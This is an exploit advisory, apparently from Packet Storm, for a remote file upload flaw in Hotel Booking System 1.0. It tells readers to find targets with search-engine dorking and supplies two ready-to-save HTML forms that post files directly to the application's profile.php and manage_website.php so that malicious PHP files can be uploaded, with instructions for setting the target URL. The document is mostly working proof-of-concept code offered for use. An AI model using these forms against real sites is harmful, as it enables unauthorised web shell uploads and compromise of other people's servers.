Share
## https://sploitus.com/exploit?id=PACKETSTORM:180178
=============================================================================================================================================  
| # Title : Hotel Booking System 1.0 Remote File Upload Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) |  
| # Vendor : https://www.sourcecodester.com/sites/default/files/download/oretnom23/hotel.zip |  
=============================================================================================================================================  
  
poc :  
  
[+] Dorking ฤฐn Google Or Other Search Enggine.  
  
[+] This HTML page is designed to remotely upload malicious PHP files directly.  
  
[+] Line 9 set url of target.  
  
[+] The path to upload the files : http://127.0.0.1/hotel/uploadImage\Profile  
  
[+] Save Code as html :  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<title>Image Upload Form</title>  
</head>  
<body>  
<form action="http://127.0.0.1/source%20code/profile.php" method="POST" enctype="multipart/form-data">  
<label for="image">Upload an image:</label>  
<input type="file" id="image" name="image" accept="image/*" required>  
<button type="submit" name="btn_update">Upload</button>  
</form>  
</body>  
</html>  
  
[+] part 2 : infected item ( manage_website.php ) .  
  
[+] Line 9 set url of target.  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<title>Update Website Images</title>  
</head>  
<body>  
<form action="http://127.0.0.1/source%20code/manage_website.php" method="POST" enctype="multipart/form-data">  
<input type="hidden" name="old_website_image" value="current_website_image.jpg">  
<label for="website_image">Upload new website image:</label>  
<input type="file" id="website_image" name="website_image" accept="image/*">  
  
<input type="hidden" name="old_login_image" value="current_login_image.jpg">  
<label for="login_image">Upload new login image:</label>  
<input type="file" id="login_image" name="login_image" accept="image/*">  
  
<input type="hidden" name="old_back_login_image" value="current_back_login_image.jpg">  
<label for="back_login_image">Upload new back login image:</label>  
<input type="file" id="back_login_image" name="back_login_image" accept="image/*">  
  
<button type="submit" name="btn_web">Update Images</button>  
</form>  
</body>  
</html>  
  
Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================